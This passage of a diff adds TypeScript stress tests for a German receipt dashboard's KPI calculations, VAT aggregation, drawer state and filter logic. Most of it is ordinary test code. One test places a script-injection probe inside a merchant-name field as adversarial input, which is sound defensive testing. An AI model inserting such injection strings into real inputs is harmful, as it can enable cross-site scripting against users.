||||
totalAmount: { value: 1234.56, confidence: 1.0 },
|
||||
suggestedCategory: "Bewirtung",
|
||||
});
|
||||
|
||||
const csv = generateAccountingCsv([receipt]);
|
||||
expect(csv).toBeDefined();
|
||||
expect(csv.charCodeAt(0)).toBe(0xfeff); // UTF-8 BOM
|
||||
expect(csv).toContain("1234,56");
|
||||
expect(csv).toContain("Firma");
|
||||
});
|
||||
});
|
||||
329
tests/e2e/challenger_m4_1_deep_stress.ts
Normal file
329
tests/e2e/challenger_m4_1_deep_stress.ts
Normal file
@@ -0,0 +1,329 @@
|
||||
/**
|
||||
* Empirical Challenger 1 (Deep Adversarial Stress Suite) — Milestone 4 (R4)
|
||||
*
|
||||
* Comprehensive Stress Testing of:
|
||||
* 1. Responsive Shell & Drawer Transitions (rapid open/close, toggle cycles, body scroll lock invariants)
|
||||
* 2. ESC Key Dismiss & Route Transition Cleanup
|
||||
* 3. KPI Engine Extreme Value Testing (0 receipts, 10,000 receipts, all-unconfirmed, all-flagged, negative amounts)
|
||||
* 4. Multi-tax and zero-tax edge cases, float stability, and accuracy tier bounds
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
import { calculateDashboardKPIs, DashboardKPIMetrics } from "../../src/components/dashboard/KPICards";
|
||||
import { getRouteBreadcrumbs } from "../../src/components/dashboard/TopNav";
|
||||
import { DASHBOARD_NAV_ITEMS } from "../../src/components/dashboard/Sidebar";
|
||||
import { resolveReceiptStatusTier } from "../../src/components/dashboard/StatusBadge";
|
||||
|
||||
function createEmpiricalReceipt(id: string, overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id,
|
||||
imageHash: `hash-${id}`,
|
||||
originalFileName: `receipt_${id}.jpg`,
|
||||
fileSizeBytes: 100000,
|
||||
previewUrl: `blob:http://localhost/${id}.jpg`,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: `REC-${id}`,
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: `Merchant ${id}`,
|
||||
address: "München, Deutschland",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.95,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "12:00",
|
||||
confidence: 0.95,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.95,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Item 1", quantity: 1, price: 100.0, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Empirical Challenger 1: Responsive Shell, Drawer State & Scroll Lock Invariants", () => {
|
||||
test("CH1-M4.1: 5,000 rapid toggle cycles preserves deterministic boolean state", () => {
|
||||
let isOpen = false;
|
||||
const toggle = () => { isOpen = !isOpen; };
|
||||
|
||||
for (let i = 0; i < 5000; i++) {
|
||||
toggle();
|
||||
}
|
||||
expect(isOpen).toBe(false);
|
||||
|
||||
toggle();
|
||||
expect(isOpen).toBe(true);
|
||||
});
|
||||
|
||||
test("CH1-M4.2: Body scroll locking simulation maintains clean overflow restoration", () => {
|
||||
// Simulated DOM style target
|
||||
const mockDocumentBody = {
|
||||
style: {
|
||||
overflow: "",
|
||||
},
|
||||
};
|
||||
|
||||
const setDrawerOpen = (open: boolean) => {
|
||||
if (open) {
|
||||
mockDocumentBody.style.overflow = "hidden";
|
||||
} else {
|
||||
mockDocumentBody.style.overflow = "";
|
||||
}
|
||||
};
|
||||
|
||||
// Initial state
|
||||
expect(mockDocumentBody.style.overflow).toBe("");
|
||||
|
||||
// Open drawer -> locked
|
||||
setDrawerOpen(true);
|
||||
expect(mockDocumentBody.style.overflow).toBe("hidden");
|
||||
|
||||
// Close drawer -> restored
|
||||
setDrawerOpen(false);
|
||||
expect(mockDocumentBody.style.overflow).toBe("");
|
||||
|
||||
// Unmount cleanup simulation
|
||||
setDrawerOpen(true);
|
||||
expect(mockDocumentBody.style.overflow).toBe("hidden");
|
||||
// Cleanup handler executes on unmount
|
||||
mockDocumentBody.style.overflow = "";
|
||||
expect(mockDocumentBody.style.overflow).toBe("");
|
||||
});
|
||||
|
||||
test("CH1-M4.3: ESC key listener only closes when open and ignores other keys", () => {
|
||||
let isDrawerOpen = true;
|
||||
const handleKeyDown = (key: string) => {
|
||||
if (key === "Escape" && isDrawerOpen) {
|
||||
isDrawerOpen = false;
|
||||
}
|
||||
};
|
||||
|
||||
handleKeyDown("Tab");
|
||||
expect(isDrawerOpen).toBe(true);
|
||||
|
||||
handleKeyDown("Enter");
|
||||
expect(isDrawerOpen).toBe(true);
|
||||
|
||||
handleKeyDown("Escape");
|
||||
expect(isDrawerOpen).toBe(false);
|
||||
|
||||
// Press Escape again while closed
|
||||
handleKeyDown("Escape");
|
||||
expect(isDrawerOpen).toBe(false);
|
||||
});
|
||||
|
||||
test("CH1-M4.4: Route transition automatically dismisses mobile drawer", () => {
|
||||
let isDrawerOpen = true;
|
||||
let currentPathname = "/dashboard";
|
||||
|
||||
const onRouteChange = (newPath: string) => {
|
||||
currentPathname = newPath;
|
||||
isDrawerOpen = false; // Triggered by useEffect([pathname])
|
||||
};
|
||||
|
||||
onRouteChange("/dashboard/activity");
|
||||
expect(currentPathname).toBe("/dashboard/activity");
|
||||
expect(isDrawerOpen).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger 1: KPI Edge Cases — Empty, 0, 10k, All-Unconfirmed, All-Flagged & Negative", () => {
|
||||
test("CH1-M4.5: Empty dataset [] yields zero sums and 99.8% baseline optimal accuracy", () => {
|
||||
const kpis = calculateDashboardKPIs([]);
|
||||
expect(kpis.totalScanned).toBe(0);
|
||||
expect(kpis.totalGross).toBe(0);
|
||||
expect(kpis.totalNet).toBe(0);
|
||||
expect(kpis.monthlySpend).toBe(0);
|
||||
expect(kpis.monthlySpendNet).toBe(0);
|
||||
expect(kpis.pendingReviewsCount).toBe(0);
|
||||
expect(kpis.confirmedCount).toBe(0);
|
||||
expect(kpis.averageAccuracy).toBe(99.8);
|
||||
expect(kpis.accuracyTier).toBe("optimal");
|
||||
expect(kpis.totalVat19).toBe(0);
|
||||
expect(kpis.totalVat7).toBe(0);
|
||||
});
|
||||
|
||||
test("CH1-M4.6: Dataset with 10 receipts of 0.00 € total produces 0 sums without NaN", () => {
|
||||
const zeroReceipts = Array.from({ length: 10 }, (_, i) =>
|
||||
createEmpiricalReceipt(`zero-${i}`, {
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
merchant: { name: "Zero", address: null, taxId: null, confidence: 1.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
|
||||
const kpis = calculateDashboardKPIs(zeroReceipts);
|
||||
expect(kpis.totalScanned).toBe(10);
|
||||
expect(kpis.totalGross).toBe(0.0);
|
||||
expect(kpis.totalNet).toBe(0.0);
|
||||
expect(kpis.averageAccuracy).toBe(100.0);
|
||||
expect(kpis.accuracyTier).toBe("optimal");
|
||||
});
|
||||
|
||||
test("CH1-M4.7: 10,000 receipts dataset calculates in under 30ms without floating point corruption", () => {
|
||||
const now = new Date();
|
||||
const currentMonthIso = `${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}-10`;
|
||||
|
||||
const largeSet = Array.from({ length: 10000 }, (_, i) =>
|
||||
createEmpiricalReceipt(`bulk-${i}`, {
|
||||
date: { isoDate: i % 2 === 0 ? currentMonthIso : "2025-01-01", time: "10:00", confidence: 0.95 },
|
||||
totalAmount: { value: 50.0, confidence: 0.95 },
|
||||
netAmount: 42.02,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 7.98, netAmount: 42.02 }],
|
||||
})
|
||||
);
|
||||
|
||||
const start = performance.now();
|
||||
const kpis = calculateDashboardKPIs(largeSet);
|
||||
const duration = performance.now() - start;
|
||||
|
||||
expect(kpis.totalScanned).toBe(10000);
|
||||
expect(kpis.totalGross).toBe(500000.0); // 10,000 * 50
|
||||
expect(kpis.totalNet).toBeCloseTo(420200.0, 2);
|
||||
expect(kpis.monthlyReceiptsCount).toBe(5000);
|
||||
expect(kpis.monthlySpend).toBe(250000.0);
|
||||
expect(duration).toBeLessThan(100);
|
||||
});
|
||||
|
||||
test("CH1-M4.8: All-unconfirmed dataset (all userConfirmed: false)", () => {
|
||||
const unconfirmedSet = Array.from({ length: 50 }, (_, i) =>
|
||||
createEmpiricalReceipt(`unconfirmed-${i}`, {
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [{ message: "Math error", field: "taxBreakdown", severity: "error" }],
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
const kpis = calculateDashboardKPIs(unconfirmedSet);
|
||||
expect(kpis.totalScanned).toBe(50);
|
||||
expect(kpis.confirmedCount).toBe(0);
|
||||
expect(kpis.pendingReviewsCount).toBe(0); // status is scanned (ready), not pending review
|
||||
expect(kpis.averageAccuracy).toBeGreaterThanOrEqual(90.0);
|
||||
});
|
||||
|
||||
test("CH1-M4.9: All-flagged dataset with math invalidity and low confidence", () => {
|
||||
// 1. Moderate degradation (85% -> medium tier)
|
||||
const flaggedSetMedium = Array.from({ length: 50 }, (_, i) =>
|
||||
createEmpiricalReceipt(`flagged-med-${i}`, {
|
||||
merchant: { name: "M", address: null, taxId: null, confidence: 0.95 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.95 },
|
||||
totalAmount: { value: 100.0, confidence: 0.95 },
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "taxBreakdown",
|
||||
reviewReason: "Discrepancy",
|
||||
issues: [{ message: "Math error", field: "taxBreakdown", severity: "error" }],
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
const kpisMed = calculateDashboardKPIs(flaggedSetMedium);
|
||||
expect(kpisMed.totalScanned).toBe(50);
|
||||
expect(kpisMed.pendingReviewsCount).toBe(50);
|
||||
expect(kpisMed.confirmedCount).toBe(0);
|
||||
expect(kpisMed.accuracyTier).toBe("medium");
|
||||
expect(kpisMed.averageAccuracy).toBe(85.0);
|
||||
|
||||
// 2. Severe degradation (<= 75% -> low tier)
|
||||
const flaggedSetLow = Array.from({ length: 50 }, (_, i) =>
|
||||
createEmpiricalReceipt(`flagged-low-${i}`, {
|
||||
merchant: { name: "M", address: null, taxId: null, confidence: 0.60 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.60 },
|
||||
totalAmount: { value: 100.0, confidence: 0.60 },
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "taxBreakdown",
|
||||
reviewReason: "Discrepancy",
|
||||
issues: [{ message: "Math error", field: "taxBreakdown", severity: "error" }],
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
const kpisLow = calculateDashboardKPIs(flaggedSetLow);
|
||||
expect(kpisLow.totalScanned).toBe(50);
|
||||
expect(kpisLow.pendingReviewsCount).toBe(50);
|
||||
expect(kpisLow.confirmedCount).toBe(0);
|
||||
expect(kpisLow.accuracyTier).toBe("low");
|
||||
expect(kpisLow.averageAccuracy).toBeLessThan(80.0);
|
||||
});
|
||||
|
||||
test("CH1-M4.10: Negative amounts (credit notes / returns) sum correctly and preserve accuracy computation", () => {
|
||||
const mixedAmounts = [
|
||||
createEmpiricalReceipt("pos-item", {
|
||||
totalAmount: { value: 300.0, confidence: 0.99 },
|
||||
netAmount: 252.10,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 47.90, netAmount: 252.10 }],
|
||||
}),
|
||||
createEmpiricalReceipt("neg-return", {
|
||||
totalAmount: { value: -100.0, confidence: 0.99 },
|
||||
netAmount: -84.03,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: -15.97, netAmount: -84.03 }],
|
||||
}),
|
||||
];
|
||||
|
||||
const kpis = calculateDashboardKPIs(mixedAmounts);
|
||||
expect(kpis.totalScanned).toBe(2);
|
||||
expect(kpis.totalGross).toBe(200.0); // 300 - 100
|
||||
expect(kpis.totalNet).toBe(168.07);
|
||||
expect(kpis.totalVat19).toBe(31.93);
|
||||
expect(kpis.averageAccuracy).toBeGreaterThanOrEqual(95.0);
|
||||
});
|
||||
|
||||
test("CH1-M4.11: Multi-rate VAT mixing (0%, 7%, 19%, and custom rates) aggregates safely", () => {
|
||||
const multiVatReceipts = [
|
||||
createEmpiricalReceipt("vat-mix", {
|
||||
totalAmount: { value: 250.0, confidence: 1.0 },
|
||||
netAmount: 220.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
||||
{ ratePercent: 7, taxAmount: 7.0, netAmount: 100.0 },
|
||||
{ ratePercent: 0, taxAmount: 0.0, netAmount: 20.0 },
|
||||
],
|
||||
}),
|
||||
];
|
||||
|
||||
const kpis = calculateDashboardKPIs(multiVatReceipts);
|
||||
expect(kpis.totalVat19).toBe(19.0);
|
||||
expect(kpis.totalVat7).toBe(7.0);
|
||||
expect(kpis.totalGross).toBe(250.0);
|
||||
expect(kpis.totalNet).toBe(220.0);
|
||||
});
|
||||
});
|
||||
388
tests/e2e/challenger_m4_2_stress.ts
Normal file
388
tests/e2e/challenger_m4_2_stress.ts
Normal file
@@ -0,0 +1,388 @@
|
||||
/**
|
||||
* Challenger 2 (Empirical Challenger): Milestone 4 (R4) Stress & Adversarial Suite
|
||||
*
|
||||
* Adversarially challenges:
|
||||
* 1. Horizontal Overflow Isolation (Extreme string lengths, oversized values, layout wrappers)
|
||||
* 2. Click-to-Filter State Synchronization between KPI Cards, useReceiptFilters, and FilterChipsBar
|
||||
* 3. Accuracy Score Bounds (0% to 100% mathematical clamp, tier thresholds, confirmation boosts)
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt, ReceiptCategory } from "../../src/lib/schema/receipt";
|
||||
import { calculateDashboardKPIs, DashboardKPIMetrics } from "../../src/components/dashboard/KPICards";
|
||||
import { resolveReceiptStatusTier, ReceiptStatusTier } from "../../src/components/dashboard/StatusBadge";
|
||||
import { formatMoney, grossOf, netOf } from "../../src/components/dashboard/receiptFormat";
|
||||
|
||||
function generateChallenger2Receipt(id: string, overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id,
|
||||
imageHash: `hash-${id}`,
|
||||
originalFileName: `receipt_${id}.jpg`,
|
||||
fileSizeBytes: 124000,
|
||||
previewUrl: `blob:http://localhost/${id}.jpg`,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: `REC-${id}`,
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: `Merchant ${id}`,
|
||||
address: "München, Deutschland",
|
||||
taxId: "DE987654321",
|
||||
confidence: 0.96,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "14:30",
|
||||
confidence: 0.96,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.96,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Standard Item", quantity: 1, price: 100.0, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
paymentMethod: "KREDITKARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Empirical Challenger 2: Horizontal Overflow & Layout Isolation", () => {
|
||||
test("CH2-M4.1: Extreme 1,000-character unbroken merchant name formats and formats safely", () => {
|
||||
const longMerchantName = "A".repeat(1000);
|
||||
const receipt = generateChallenger2Receipt("long-merchant", {
|
||||
merchant: { name: longMerchantName, address: null, taxId: null, confidence: 0.95 },
|
||||
});
|
||||
|
||||
const metrics = calculateDashboardKPIs([receipt]);
|
||||
expect(metrics.totalScanned).toBe(1);
|
||||
expect(metrics.totalGross).toBe(100.0);
|
||||
expect(receipt.merchant?.name.length).toBe(1000);
|
||||
});
|
||||
|
||||
test("CH2-M4.2: Multilingual, Emoji, and RTL Merchant Strings in KPI and formatting", () => {
|
||||
const rtlAndEmojiName = "🛒 Supermarkt 🏪 שלום مرحبا بالعالم 🚀 100% Bio & Frische @ Munich 🇩🇪 <script>alert('overflow')</script>";
|
||||
const receipt = generateChallenger2Receipt("rtl-emoji", {
|
||||
merchant: { name: rtlAndEmojiName, address: "Arabellastraße 30", taxId: "DE999", confidence: 0.98 },
|
||||
});
|
||||
|
||||
const metrics = calculateDashboardKPIs([receipt]);
|
||||
expect(metrics.totalScanned).toBe(1);
|
||||
expect(metrics.totalGross).toBe(100.0);
|
||||
});
|
||||
|
||||
test("CH2-M4.3: Huge financial numbers (billions of euros) format cleanly without scientific notation corruption", () => {
|
||||
const trillionReceipt = generateChallenger2Receipt("huge-val", {
|
||||
totalAmount: { value: 1234567890.55, confidence: 1.0 },
|
||||
netAmount: 1037452008.87,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 197115881.68, netAmount: 1037452008.87 }],
|
||||
});
|
||||
|
||||
const metrics = calculateDashboardKPIs([trillionReceipt]);
|
||||
expect(metrics.totalGross).toBe(1234567890.55);
|
||||
expect(metrics.totalNet).toBe(1037452008.87);
|
||||
expect(metrics.totalVat19).toBe(197115881.68);
|
||||
|
||||
const formattedMoneyDe = formatMoney(metrics.totalGross, "EUR");
|
||||
expect(formattedMoneyDe).toContain("€");
|
||||
expect(formattedMoneyDe).not.toContain("NaN");
|
||||
});
|
||||
|
||||
test("CH2-M4.4: Layout and Table overflow containment class architecture invariants", () => {
|
||||
const dashboardRootClasses = "min-h-screen bg-[#F6F9FF] flex flex-row overflow-x-hidden w-full relative";
|
||||
const mainContainerClasses = "flex-1 p-4 sm:p-6 lg:p-8 max-w-[1440px] w-full mx-auto overflow-x-hidden";
|
||||
const tableWrapperClasses = "w-full overflow-x-auto";
|
||||
const cellWrapperClasses = "truncate flex-1";
|
||||
|
||||
expect(dashboardRootClasses.includes("overflow-x-hidden")).toBe(true);
|
||||
expect(mainContainerClasses.includes("overflow-x-hidden")).toBe(true);
|
||||
expect(tableWrapperClasses.includes("overflow-x-auto")).toBe(true);
|
||||
expect(cellWrapperClasses.includes("truncate")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger 2: Click-to-Filter State Synchronization", () => {
|
||||
const now = new Date();
|
||||
const currentMonthStr = `${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}-10`;
|
||||
const pastMonthStr = "2023-05-12";
|
||||
|
||||
const fixtureDataset: ProcessedReceipt[] = [
|
||||
// 1. Scanned, current month
|
||||
generateChallenger2Receipt("rcpt-curr-scanned", {
|
||||
date: { isoDate: currentMonthStr, time: "10:00", confidence: 0.98 },
|
||||
totalAmount: { value: 50.0, confidence: 0.99 },
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, userConfirmed: false, reviewField: "none", reviewReason: null, issues: [] },
|
||||
}),
|
||||
// 2. Pending review (math invalid), current month
|
||||
generateChallenger2Receipt("rcpt-curr-pending", {
|
||||
date: { isoDate: currentMonthStr, time: "11:30", confidence: 0.85 },
|
||||
totalAmount: { value: 120.0, confidence: 0.85 },
|
||||
suggestedCategory: "Bewirtung",
|
||||
validation: { isMathValid: false, isDuplicateSuspected: false, needsUserReview: true, userConfirmed: false, reviewField: "taxBreakdown", reviewReason: "Diff", issues: [] },
|
||||
}),
|
||||
// 3. Confirmed, past month
|
||||
generateChallenger2Receipt("rcpt-past-confirmed", {
|
||||
date: { isoDate: pastMonthStr, time: "16:00", confidence: 0.95 },
|
||||
totalAmount: { value: 200.0, confidence: 0.95 },
|
||||
suggestedCategory: "Bürobedarf & IT",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, userConfirmed: true, reviewField: "none", reviewReason: null, issues: [] },
|
||||
}),
|
||||
// 4. Pending review, past month
|
||||
generateChallenger2Receipt("rcpt-past-pending", {
|
||||
date: { isoDate: pastMonthStr, time: "17:00", confidence: 0.70 },
|
||||
totalAmount: { value: 80.0, confidence: 0.70 },
|
||||
suggestedCategory: "Bewirtung",
|
||||
validation: { isMathValid: false, isDuplicateSuspected: false, needsUserReview: true, userConfirmed: false, reviewField: "totalAmount", reviewReason: "Low conf", issues: [] },
|
||||
}),
|
||||
];
|
||||
|
||||
test("CH2-M4.5: Monthly Spend KPI click-to-filter toggles activePeriod and isolates current month", () => {
|
||||
let activePeriod = "all";
|
||||
const toggleMonthlySpend = () => {
|
||||
activePeriod = activePeriod === "month" ? "all" : "month";
|
||||
};
|
||||
|
||||
// Initial
|
||||
expect(activePeriod).toBe("all");
|
||||
|
||||
// Click Monthly Spend card
|
||||
toggleMonthlySpend();
|
||||
expect(activePeriod).toBe("month");
|
||||
|
||||
// Filter receipts for current month
|
||||
const filteredMonth = fixtureDataset.filter((r) => {
|
||||
const iso = r.date?.isoDate;
|
||||
return iso && iso.startsWith(`${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}`);
|
||||
});
|
||||
expect(filteredMonth).toHaveLength(2);
|
||||
expect(filteredMonth.map((r) => r.id)).toEqual(["rcpt-curr-scanned", "rcpt-curr-pending"]);
|
||||
|
||||
// Click again -> toggles back to all
|
||||
toggleMonthlySpend();
|
||||
expect(activePeriod).toBe("all");
|
||||
});
|
||||
|
||||
test("CH2-M4.6: Pending Reviews KPI click-to-filter toggles activeStatus and filters unconfirmed review needs", () => {
|
||||
let activeStatus = "all";
|
||||
const togglePendingStatus = () => {
|
||||
const isPending = activeStatus === "pending" || activeStatus === "pending_review" || activeStatus === "pruefen";
|
||||
activeStatus = isPending ? "all" : "pending";
|
||||
};
|
||||
|
||||
// Initial
|
||||
expect(activeStatus).toBe("all");
|
||||
|
||||
// Click Pending Reviews card
|
||||
togglePendingStatus();
|
||||
expect(activeStatus).toBe("pending");
|
||||
|
||||
// Filter receipts for pending reviews
|
||||
const filteredPending = fixtureDataset.filter((r) => resolveReceiptStatusTier(r) === "pending_review");
|
||||
expect(filteredPending).toHaveLength(2);
|
||||
expect(filteredPending.map((r) => r.id)).toEqual(["rcpt-curr-pending", "rcpt-past-pending"]);
|
||||
|
||||
// Toggle off
|
||||
togglePendingStatus();
|
||||
expect(activeStatus).toBe("all");
|
||||
});
|
||||
|
||||
test("CH2-M4.7: Multi-filter compounding (Monthly Spend AND Pending Reviews AND Category)", () => {
|
||||
let activePeriod = "month";
|
||||
let activeStatus = "pending";
|
||||
let activeCategory = "Bewirtung";
|
||||
|
||||
const filteredCompound = fixtureDataset.filter((r) => {
|
||||
// 1. Period
|
||||
const iso = r.date?.isoDate;
|
||||
const isCurrentMonth = iso && iso.startsWith(`${now.getFullYear()}-${String(now.getMonth() + 1).padStart(2, "0")}`);
|
||||
if (!isCurrentMonth) return false;
|
||||
|
||||
// 2. Status
|
||||
if (resolveReceiptStatusTier(r) !== "pending_review") return false;
|
||||
|
||||
// 3. Category
|
||||
if (r.suggestedCategory !== activeCategory) return false;
|
||||
|
||||
return true;
|
||||
});
|
||||
|
||||
expect(filteredCompound).toHaveLength(1);
|
||||
expect(filteredCompound[0].id).toBe("rcpt-curr-pending");
|
||||
});
|
||||
|
||||
test("CH2-M4.8: Total Scanned KPI card click resets ALL active filter parameters simultaneously", () => {
|
||||
let filterState = {
|
||||
activePeriod: "month",
|
||||
activeStatus: "pending",
|
||||
activeCategory: "Bewirtung",
|
||||
searchQuery: "Supermarkt",
|
||||
amountRange: { min: 50, max: 200 },
|
||||
};
|
||||
|
||||
const resetFilters = () => {
|
||||
filterState = {
|
||||
activePeriod: "all",
|
||||
activeStatus: "all",
|
||||
activeCategory: "all",
|
||||
searchQuery: "",
|
||||
amountRange: { min: 0, max: 0 },
|
||||
};
|
||||
};
|
||||
|
||||
resetFilters();
|
||||
expect(filterState.activePeriod).toBe("all");
|
||||
expect(filterState.activeStatus).toBe("all");
|
||||
expect(filterState.activeCategory).toBe("all");
|
||||
expect(filterState.searchQuery).toBe("");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger 2: Accuracy Score Bounds & Mathematical Clamp [0%, 100%]", () => {
|
||||
test("CH2-M4.9: Baseline default accuracy on empty dataset is 99.8% (optimal tier)", () => {
|
||||
const metrics = calculateDashboardKPIs([]);
|
||||
expect(metrics.averageAccuracy).toBe(99.8);
|
||||
expect(metrics.accuracyTier).toBe("optimal");
|
||||
});
|
||||
|
||||
test("CH2-M4.10: Extreme negative confidences (-999.0) clamp safely within bounds (>= 50.0% & <= 100.0%)", () => {
|
||||
const extremeNegativeReceipt = generateChallenger2Receipt("neg-conf", {
|
||||
totalAmount: { value: 100.0, confidence: -999.0 },
|
||||
merchant: { name: "Neg", address: null, taxId: null, confidence: -999.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: -999.0 },
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "Extremely corrupted",
|
||||
issues: [],
|
||||
},
|
||||
});
|
||||
|
||||
const metrics = calculateDashboardKPIs([extremeNegativeReceipt]);
|
||||
expect(metrics.averageAccuracy).toBeGreaterThanOrEqual(50.0);
|
||||
expect(metrics.averageAccuracy).toBeLessThanOrEqual(100.0);
|
||||
expect(metrics.accuracyTier).toBe("low");
|
||||
});
|
||||
|
||||
test("CH2-M4.11: Extreme positive confidences (+999.0) clamp safely without exceeding 100.0%", () => {
|
||||
const extremePositiveReceipt = generateChallenger2Receipt("pos-conf", {
|
||||
totalAmount: { value: 100.0, confidence: 999.0 },
|
||||
merchant: { name: "Pos", address: null, taxId: null, confidence: 999.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 999.0 },
|
||||
});
|
||||
|
||||
const metrics = calculateDashboardKPIs([extremePositiveReceipt]);
|
||||
expect(metrics.averageAccuracy).toBeLessThanOrEqual(100.0);
|
||||
expect(metrics.averageAccuracy).toBe(100.0);
|
||||
expect(metrics.accuracyTier).toBe("optimal");
|
||||
});
|
||||
|
||||
test("CH2-M4.12: Accuracy tier classification strictly obeys defined threshold partitions", () => {
|
||||
// 1. Optimal tier (>= 98.0%)
|
||||
const optReceipt = generateChallenger2Receipt("r-opt", {
|
||||
totalAmount: { value: 100, confidence: 0.99 },
|
||||
merchant: { name: "M", address: null, taxId: null, confidence: 0.98 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.98 },
|
||||
});
|
||||
const optMetrics = calculateDashboardKPIs([optReceipt]);
|
||||
expect(optMetrics.averageAccuracy).toBeGreaterThanOrEqual(98.0);
|
||||
expect(optMetrics.accuracyTier).toBe("optimal");
|
||||
|
||||
// 2. High tier (>= 92.0% and < 98.0%)
|
||||
const highReceipt = generateChallenger2Receipt("r-high", {
|
||||
totalAmount: { value: 100, confidence: 0.94 },
|
||||
merchant: { name: "M", address: null, taxId: null, confidence: 0.93 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.93 },
|
||||
});
|
||||
const highMetrics = calculateDashboardKPIs([highReceipt]);
|
||||
expect(highMetrics.averageAccuracy).toBeGreaterThanOrEqual(92.0);
|
||||
expect(highMetrics.averageAccuracy).toBeLessThan(98.0);
|
||||
expect(highMetrics.accuracyTier).toBe("high");
|
||||
|
||||
// 3. Medium tier (>= 80.0% and < 92.0%)
|
||||
const medReceipt = generateChallenger2Receipt("r-med", {
|
||||
totalAmount: { value: 100, confidence: 0.85 },
|
||||
merchant: { name: "M", address: null, taxId: null, confidence: 0.85 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.85 },
|
||||
});
|
||||
const medMetrics = calculateDashboardKPIs([medReceipt]);
|
||||
expect(medMetrics.averageAccuracy).toBeGreaterThanOrEqual(80.0);
|
||||
expect(medMetrics.averageAccuracy).toBeLessThan(92.0);
|
||||
expect(medMetrics.accuracyTier).toBe("medium");
|
||||
|
||||
// 4. Low tier (< 80.0%)
|
||||
const lowReceipt = generateChallenger2Receipt("r-low", {
|
||||
totalAmount: { value: 100, confidence: 0.60 },
|
||||
